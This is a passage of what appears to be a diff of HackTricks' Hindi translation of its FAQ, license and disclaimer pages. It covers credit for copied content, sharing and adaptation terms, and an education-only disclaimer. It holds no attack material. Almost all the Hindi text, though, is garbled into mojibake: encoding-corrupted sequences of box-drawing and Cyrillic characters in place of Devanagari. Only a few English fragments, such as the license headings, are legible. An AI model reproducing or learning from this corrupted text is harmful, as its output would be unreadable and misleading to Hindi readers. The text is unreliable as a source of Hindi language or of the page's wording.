рд╕реЗ: +> +> - рдЖрдкрдХреЗ **SEO** рдореЗрдВ рд╕реБрдзрд╛рд░ рд╣реЛрддрд╛ рд╣реИ +> - рд╕рд╛рдордЧреНрд░реА **15+ рднрд╛рд╖рд╛рдУрдВ** рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рд╣реЛ рдЬрд╛рддреА рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд▓реЛрдЧ рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪ рдкрд╛рддреЗ рд╣реИрдВ +> - **HackTricks рд▓реЛрдЧреЛрдВ рдХреЛ рдЖрдкрдХреЗ рдкреЗрдЬ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рддрд╛ рд╣реИ** (рдХрдИ рд▓реЛрдЧреЛрдВ рдиреЗ рд╣рдореЗрдВ рдмрддрд╛рдпрд╛ рд╣реИ рдХрд┐ рдЙрдирдХреЗ рдХрд┐рд╕реА рдкреЗрдЬ рдХреЗ HackTricks рдореЗрдВ рдЖрдиреЗ рдХреЗ рдмрд╛рдж рдЙрдиреНрд╣реЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рдЬрд╝рд┐рдЯ рдорд┐рд▓реА рд╣реИрдВ) +> +> рдлрд┐рд░ рднреА, рдпрджрд┐ рдЖрдк рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рдмреНрд▓реЙрдЧ рдХреА рд╕рд╛рдордЧреНрд░реА HackTricks рд╕реЗ рд╣рдЯрд╛ рджреА рдЬрд╛рдП рддреЛ рдмрд╕ рд╣рдореЗрдВ рдмрддрд╛рдЗрдП рдФрд░ рд╣рдо рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ **рдЖрдкрдХреЗ рдмреНрд▓реЙрдЧ рдХреЗ рд╕рднреА рд▓рд┐рдВрдХреНрд╕** рдФрд░ рдЙрд╕ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд┐рд╕реА рднреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╣рдЯрд╛ рджреЗрдВрдЧреЗред > [!CAUTION] > > - **What should I do if I find copy-pasted content in HackTricks?** +> +> рд╣рдо рд╣рдореЗрд╢рд╛ **рдореВрд▓ рд▓реЗрдЦрдХреЛрдВ рдХреЛ рдкреВрд░рд╛ рд╢реНрд░реЗрдп рджреЗрддреЗ рд╣реИрдВ**ред рдпрджрд┐ рдЖрдк рдХреЛрдИ рдкреЗрдЬ рдкрд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ copy-pasted рд╕рд╛рдордЧреНрд░реА рд╣реИ рдФрд░ рдореВрд▓ рд╕реНрд░реЛрдд рд╕рдВрджрд░реНрднрд┐рдд рдирд╣реАрдВ рд╣реИ, рддреЛ рд╣рдореЗрдВ рдмрддрд╛рдЗрдП рдФрд░ рд╣рдо рдпрд╛ рддреЛ **рдЙрд╕реЗ рд╣рдЯрд╛ рджреЗрдВрдЧреЗ**, **рдЯреЗрдХреНрд╕реНрдЯ рд╕реЗ рдкрд╣рд▓реЗ рд▓рд┐рдВрдХ рдЬреЛрдбрд╝реЗрдВрдЧреЗ**, рдпрд╛ **рд▓рд┐рдВрдХ рдЬреЛрдбрд╝рдХрд░ рдЙрд╕реЗ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦ рджреЗрдВрдЧреЗ**ред -рд╣рдо рд╣рдореЗрд╢рд╛ **рдореВрд▓ рд▓реЗрдЦрдХреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХреНрд░реЗрдбрд┐рдЯ рджреЗрддреЗ рд╣реИрдВ**ред рдпрджрд┐ рдЖрдк рдХреЛрдИ рдРрд╕рд╛ рдкреЗрдЬ рдкрд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ copy-pasted рд╕рд╛рдордЧреНрд░реА рд╣реИ рдФрд░ рдореВрд▓ рд╕реНрд░реЛрдд рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рд╣реИ, рддреЛ рд╣рдореЗрдВ рдмрддрд╛рдПрдВ рдФрд░ рд╣рдо рдпрд╛ рддреЛ рдЙрд╕реЗ **рд╣рдЯрд╛ рджреЗрдВрдЧреЗ**, **рдореВрд▓ рд▓рд┐рдВрдХ рдЯреЗрдХреНрд╕реНрдЯ рд╕реЗ рдкрд╣рд▓реЗ рдЬреЛрдбрд╝ рджреЗрдВрдЧреЗ**, рдпрд╛ **рдЙрд╕рдХрд╛ рдкреБрдирд░реНрд▓реЗрдЦрди рдХрд░рдХреЗ рд▓рд┐рдВрдХ рдЬреЛрдбрд╝ рджреЗрдВрдЧреЗ**ред +## LICENSE -## рд▓рд╛рдЗрд╕реЗрдВрд╕ +Copyright ┬й All rights reserved unless otherwise specified. -рдХреЙрдкреАрд░рд╛рдЗрдЯ ┬й рд╕рднреА рдЕрдзрд┐рдХрд╛рд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдЬрдм рддрдХ рдХрд┐ рдЕрдиреНрдпрдерд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рди рд╣реЛред +#### License Summary: -#### рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╕рд╛рд░рд╛рдВрд╢: +- Attribution: You are free to: +- Share тАФ copy and redistribute the material in any medium or format. +- Adapt тАФ remix, transform, and build upon the material. -- Attribution: рдЖрдк рд╕реНрд╡рддрдВрддреНрд░ рд╣реИрдВ: -- Share тАФ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХрд┐рд╕реА рднреА рдорд╛рдзреНрдпрдо рдпрд╛ рдлреЙрд░реНрдореИрдЯ рдореЗрдВ рдХреЙрдкреА рдФрд░ рдкреБрдирд░реНрд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред -- Adapt тАФ рд╕рд╛рдордЧреНрд░реА рдХреЛ remix, transform, рдФрд░ build рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред +#### Additional Terms: -#### рдЕрддрд┐рд░рд┐рдХреНрдд рд╢рд░реНрддреЗрдВ: +- Third-Party Content: рдЗрд╕ рдмреНрд▓реЙрдЧ/рдкреБрд╕реНрддрдХ рдХреЗ рдХреБрдЫ рднрд╛рдЧ рдЕрдиреНрдп рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рд╕рд╛рдордЧреНрд░реА рд╢рд╛рдорд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдЕрдиреНрдп рдмреНрд▓реЙрдЧреНрд╕ рдпрд╛ рдкреНрд░рдХрд╛рд╢рдиреЛрдВ рдХреЗ рдЕрдВрд╢ред рдРрд╕реЗ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдХреНрд╕рд░ рдЙрдЪрд┐рдд рдЙрдкрдпреЛрдЧ (fair use) рдХреЗ рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЗ рддрд╣рдд рдпрд╛ рд╕рдВрдмрдВрдзрд┐рдд рдХреЙрдкреАрд░рд╛рдЗрдЯ рдзрд╛рд░рдХреЛрдВ рдХреА рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рд╕реЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдХреГрдкрдпрд╛ рддреГрддреАрдп-рдкрдХреНрд╖ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╡рд┐рд╢реЗрд╖ рд▓рд╛рдЗрд╕реЗрдВрд╕рд┐рдВрдЧ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╕реНрд░реЛрддреЛрдВ рдХреЛ рджреЗрдЦреЗрдВред +- Authorship: HackTricks рджреНрд╡рд╛рд░рд╛ рд░рдЪрд┐рдд рдореВрд▓ рд╕рд╛рдордЧреНрд░реА рдЗрд╕ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреА рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдзреАрди рд╣реИред рдЬрдм рдЖрдк рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рд╕рд╛рдЭрд╛ рдпрд╛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд▓реЗрдЦрдХ рдХреЛ рд╢реНрд░реЗрдп рджреЗрдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИред -- Third-Party Content: рдЗрд╕ рдмреНрд▓реЙрдЧ/рдмреБрдХ рдХреЗ рдХреБрдЫ рднрд╛рдЧреЛрдВ рдореЗрдВ рдЕрдиреНрдп рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рд╕рд╛рдордЧреНрд░реА рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬреИрд╕реЗ рдЕрдиреНрдп рдмреНрд▓реЙрдЧ рдпрд╛ рдкреНрд░рдХрд╛рд╢рдиреЛрдВ рдХреЗ рдЙрджреНрдзрд░рдгред рдРрд╕реА рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ fair use рдХреЗ рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЗ рддрд╣рдд рдпрд╛ рд╕рдВрдмрдВрдзрд┐рдд рдХреЙрдкреАрд░рд╛рдЗрдЯ рдзрд╛рд░рдХреЛрдВ рдХреА рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдХреГрдкрдпрд╛ рддреГрддреАрдп-рдкрдХреНрд╖ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓рд╛рдЗрд╕реЗрдВрд╕рд┐рдВрдЧ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╕реНрд░реЛрддреЛрдВ рдХреЛ рджреЗрдЦреЗрдВред -- Authorship: HackTricks рджреНрд╡рд╛рд░рд╛ рд░рдЪрд┐рдд рдореВрд▓ рд╕рд╛рдордЧреНрд░реА рдЗрд╕ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреА рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдзреАрди рд╣реИред рд╕рд╛рдЭрд╛ рдпрд╛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рддреЗ рд╕рдордп рдЖрдкрд╕реЗ рдЕрдиреБрд░реЛрдз рд╣реИ рдХрд┐ рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рд▓реЗрдЦрдХ рдХреЛ рд╢реНрд░реЗрдп рджреЗрдВред +#### Exemptions: -#### рдЫреВрдЯреЗрдВ: +- Commercial Use: рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╡рд╛рдгрд┐рдЬреНрдпрд┐рдХ рдЙрдкрдпреЛрдЧ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдкреВрдЫрддрд╛рдЫ рдХреЗ рд▓рд┐рдП, рдХреГрдкрдпрд╛ рдореБрдЭрд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░реЗрдВред -- Commercial Use: рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЗ commercial рдЙрдкрдпреЛрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреВрдЫрддрд╛рдЫ рдХреЗ рд▓рд┐рдП, рдХреГрдкрдпрд╛ рдореБрдЭрд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░реЗрдВред +рдпрд╣ рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╕рд╛рдордЧреНрд░реА рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрд┐рд╕реА рдЯреНрд░реЗрдбрдорд╛рд░реНрдХ рдпрд╛ рдмреНрд░рд╛рдВрдбрд┐рдВрдЧ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕ рдмреНрд▓реЙрдЧ/рдкреБрд╕реНрддрдХ рдореЗрдВ рджрд┐рдЦрд╛рдП рдЧрдП рд╕рднреА рдЯреНрд░реЗрдбрдорд╛рд░реНрдХ рдФрд░ рдмреНрд░рд╛рдВрдбрд┐рдВрдЧ рдЙрдирдХреЗ рд╕рдВрдмрдВрдзрд┐рдд рдорд╛рд▓рд┐рдХреЛрдВ рдХреА рд╕рдВрдкрддреНрддрд┐ рд╣реИрдВред -рдпрд╣ рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╕рд╛рдордЧреНрд░реА рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрд┐рд╕реА рднреА рдЯреНрд░реЗрдбрдорд╛рд░реНрдХ рдпрд╛ рдмреНрд░рд╛рдВрдбрд┐рдВрдЧ рдЕрдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рджреЗрддрд╛ред рдЗрд╕ рдмреНрд▓реЙрдЧ/рдмреБрдХ рдореЗрдВ рджрд┐рдЦрд╛рдпреЗ рдЧрдП рд╕рднреА рдЯреНрд░реЗрдбрдорд╛рд░реНрдХ рдФрд░ рдмреНрд░рд╛рдВрдбрд┐рдВрдЧ рдЙрдирдХреЗ рд╕рдВрдмрдВрдзрд┐рдд рдорд╛рд▓рд┐рдХреЛрдВ рдХреА рд╕рдВрдкрддреНрддрд┐ рд╣реИрдВред +**HackTricks рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ, рдЖрдк рдЗрд╕ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреА рд╢рд░реНрддреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╣рдордд рд╣реЛрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЗрди рд╢рд░реНрддреЛрдВ рд╕реЗ рд╕рд╣рдордд рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдХреГрдкрдпрд╛ рдЗрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВред** -**HackTricks рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ, рдЖрдк рдЗрд╕ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреА рд╢рд░реНрддреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╣рдордд рд╣реЛрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЗрди рд╢рд░реНрддреЛрдВ рд╕реЗ рд╕рд╣рдордд рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдХреГрдкрдпрд╛ рдЗрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рддрдХ рдкрд╣реБрдБрдЪ рди рдХрд░реЗрдВред** - -## **рдЕрд╕реНрд╡реАрдХрд░рдг** +## **Disclaimer** > [!CAUTION] -> рдпрд╣ рдХрд┐рддрд╛рдм, 'HackTricks,' рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рд╕реВрдЪрдирд╛-рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИред рдЗрд╕ рдХрд┐рддрд╛рдм рдХреА рд╕рд╛рдордЧреНрд░реА 'as is' рдЖрдзрд╛рд░ рдкрд░ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИ, рдФрд░ рд▓реЗрдЦрдХ рдФрд░ рдкреНрд░рдХрд╛рд╢рдХ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХрд╛ рдХреЛрдИ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдпрд╛ рд╡рд╛рд░рдВрдЯреА рдирд╣реАрдВ рджреЗрддреЗ тАФ рд╕реНрдкрд╖реНрдЯ рдпрд╛ рдирд┐рд╣рд┐рдд тАФ рд╕рд╛рдордЧреНрд░реА рдХреА рдкреВрд░реНрдгрддрд╛, рд╕рдЯреАрдХрддрд╛, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛, рдЙрдкрдпреБрдХреНрддрддрд╛, рдпрд╛ рдЙрдкрд▓рдмреНрдзрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрд┐рд╕реА рднреА рдЬрд╛рдирдХрд╛рд░реА рдкрд░ рдЖрдкрдХреА рдирд┐рд░реНрднрд░рддрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЖрдкрдХреЗ рдЕрдкрдиреЗ рдЬреЛрдЦрд┐рдо рдкрд░ рд╣реИред +> рдпрд╣ рдкреБрд╕реНрддрдХ, 'HackTricks,' рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рд╕реВрдЪрдирд╛ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИред рдЗрд╕ рдкреБрд╕реНрддрдХ рдХреА рд╕рд╛рдордЧреНрд░реА 'as is' рдЖрдзрд╛рд░ рдкрд░ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рд╣реИ, рдФрд░ рд▓реЗрдЦрдХ рддрдерд╛ рдкреНрд░рдХрд╛рд╢рдХ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реНрдкрд╖реНрдЯ рдпрд╛ рдирд┐рд╣рд┐рдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдпрд╛ рд╡рд╛рд░рдВрдЯреА рдирд╣реАрдВ рджреЗрддреЗ, рдЬреИрд╕реЗ рдХрд┐ рдЬрд╛рдирдХрд╛рд░реА, рдЙрддреНрдкрд╛рджреЛрдВ, рд╕реЗрд╡рд╛рдУрдВ, рдпрд╛ рд╕рдВрдмрдВрдзрд┐рдд рдЧреНрд░рд╛рдлрд┐рдХреНрд╕ рдХреА рдкреВрд░реНрдгрддрд╛, рд╕рдЯреАрдХрддрд╛, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛, рдЙрдкрдпреБрдХреНрддрддрд╛, рдпрд╛ рдЙрдкрд▓рдмреНрдзрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред рдЗрд╕рд▓рд┐рдП рдЖрдк рдЬреЛ рднреА рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ рд╡рд╣ рдкреВрд░реА рддрд░рд╣ рдЖрдкрдХреА рдЕрдкрдиреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╣реЛрдЧреАред > -> рд▓реЗрдЦрдХ рдФрд░ рдкреНрд░рдХрд╛рд╢рдХ рдХрд┐рд╕реА рднреА рд╣рд╛рдирд┐ рдпрд╛ рдиреБрдХрд╕рд╛рди рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЙрддреНрддрд░рджрд╛рдпреА рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдЬрд┐рд╕рдореЗрдВ рдкрд░реЛрдХреНрд╖ рдпрд╛ рдкрд░реЛрдХреНрд╖ рд╣рд╛рдирд┐ рдпрд╛ рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдпрд╛ рдореБрдирд╛рдлрд╝реЗ рдХреЗ рдиреБрдХрд╕рд╛рди рд╕реЗ рдЬреБрдбрд╝рд╛ рдХреЛрдИ рднреА рдиреБрдХрд╕рд╛рди рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЗрд╕ рдХрд┐рддрд╛рдм рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рдпрд╛ рдЙрд╕рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛрдХрд░ рдЙрддреНрдкрдиреНрди рд╣реЛред +> рд▓реЗрдЦрдХ рдФрд░ рдкреНрд░рдХрд╛рд╢рдХ рдХрд┐рд╕реА рднреА рдиреБрдХрд╕рд╛рди рдпрд╛ рд╣рд╛рдирд┐ рдХреЗ рд▓рд┐рдП рдЙрддреНрддрд░рджрд╛рдпреА рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдЬрд┐рд╕рдореЗрдВ рдкрд░реЛрдХреНрд╖ рдпрд╛ рдкрд░рд┐рдгрд╛рдореА рд╣рд╛рдирд┐ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдпрд╛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреА рд╣рд╛рдирд┐ рдЬреЛ рдбреЗрдЯрд╛ рдпрд╛ рд▓рд╛рдн рдХреА рд╣рд╛рдирд┐ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛ, рдпрд╛ рдЗрд╕ рдкреБрд╕реНрддрдХ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рднреА рд╣рд╛рдирд┐ред > -> рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЗрд╕ рдХрд┐рддрд╛рдм рдореЗрдВ рд╡рд░реНрдгрд┐рдд рддрдХрдиреАрдХреЗрдВ рдФрд░ рдЯрд┐рдкреНрд╕ рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рд╕реВрдЪрдирд╛-рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдФрд░ рдЗрдиреНрд╣реЗрдВ рдХрд┐рд╕реА рднреА рдЕрд╡реИрдз рдпрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд▓реЗрдЦрдХ рдФрд░ рдкреНрд░рдХрд╛рд╢рдХ рдХрд┐рд╕реА рднреА рдЕрд╡реИрдз рдпрд╛ рдЕрдиреИрддрд┐рдХ рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдпрд╛ рдЕрдиреБрдореЛрджрди рдирд╣реАрдВ рдХрд░рддреЗ, рдФрд░ рдЗрд╕ рдХрд┐рддрд╛рдм рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдкрдиреЗ рдЬреЛрдЦрд┐рдо рдФрд░ рд╡рд┐рд╡реЗрдХ рдкрд░ рд╣реИред +> рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЗрд╕ рдкреБрд╕реНрддрдХ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рддрдХрдиреАрдХреЗрдВ рдФрд░ рд╕реБрдЭрд╛рд╡ рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рд╕реВрдЪрдирд╛ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдФрд░ рдХрд┐рд╕реА рднреА рдЕрдиреИрдз рдпрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдПред рд▓реЗрдЦрдХ рдФрд░ рдкреНрд░рдХрд╛рд╢рдХ рдХрд┐рд╕реА рднреА рдЕрдиреИрддрд┐рдХ рдпрд╛ рдЕрд╡реИрдз рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд╕рдорд░реНрдерди рдпрд╛ рдкреНрд░реЛрддреНрд╕рд╛рд╣рди рдирд╣реАрдВ рджреЗрддреЗ, рдФрд░ рдЗрд╕ рдкреБрд╕реНрддрдХ рдореЗрдВ рджреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЕрдкрдиреА рдЬреЛрдЦрд┐рдо рдФрд░ рд╡рд┐рд╡реЗрдХ рдкрд░ рд╣реИред > -> рдЗрд╕ рдХрд┐рддрд╛рдм рдореЗрдВ рдирд┐рд╣рд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХрдорд╛рддреНрд░ рд░реВрдк рд╕реЗ рдЙрддреНрддрд░рджрд╛рдпреА рд╣реЛрдЧрд╛, рдФрд░ рдХрд┐рд╕реА рднреА рддрдХрдиреАрдХ рдпрд╛ рдЯрд┐рдкреНрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╕рдордп рд╣рдореЗрд╢рд╛ рдкреЗрд╢реЗрд╡рд░ рдкрд░рд╛рдорд░реНрд╢ рдФрд░ рд╕рд╣рд╛рдпрддрд╛ рд▓реЗрдиреА рдЪрд╛рд╣рд┐рдПред +> рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗрд╡рд▓ рдЕрдкрдиреЗ рджреНрд╡рд╛рд░рд╛ рдЗрд╕ рдкреБрд╕реНрддрдХ рдореЗрдВ рджреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд┐рдП рдЧрдП рдХрд┐рд╕реА рднреА рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реЛрдЧрд╛, рдФрд░ рдХрд┐рд╕реА рднреА рддрдХрдиреАрдХ рдпрд╛ рд╕реБрдЭрд╛рд╡ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╕рдордп рд╣рдореЗрд╢рд╛ рдкреЗрд╢реЗрд╡рд░ рд╕рд▓рд╛рд╣ рдФрд░ рд╕рд╣рд╛рдпрддрд╛ рд▓реЗрдиреА рдЪрд╛рд╣рд┐рдПред > -> рдЗрд╕ рдХрд┐рддрд╛рдм рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЗрдЦрдХ рдФрд░ рдкреНрд░рдХрд╛рд╢рдХреЛрдВ рдХреЛ рдХрд┐рд╕реА рднреА рдФрд░ рд╕рднреА рджрд╛рдпрд┐рддреНрд╡реЛрдВ рдФрд░ рдЬрд┐рдореНрдореЗрджрд╛рд░рд┐рдпреЛрдВ рд╕реЗ рдореБрдХреНрдд рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╣рдордд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ рдХрд┐рддрд╛рдм рдпрд╛ рдЙрд╕рдореЗрдВ рдирд┐рд╣рд┐рдд рдХрд┐рд╕реА рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рдиреБрдХрд╕рд╛рди, рд╣рд╛рдирд┐, рдпрд╛ рдЪреЛрдЯ рдХреЗ рд▓рд┐рдП рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +> рдЗрд╕ рдкреБрд╕реНрддрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЗрдЦрдХ рдФрд░ рдкреНрд░рдХрд╛рд╢рдХ рдХреЛ рдХрд┐рд╕реА рднреА рдФрд░ рд╕рднреА рджрд╛рдпрд┐рддреНрд╡реЛрдВ рдФрд░ рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░рд┐рдпреЛрдВ рд╕реЗ 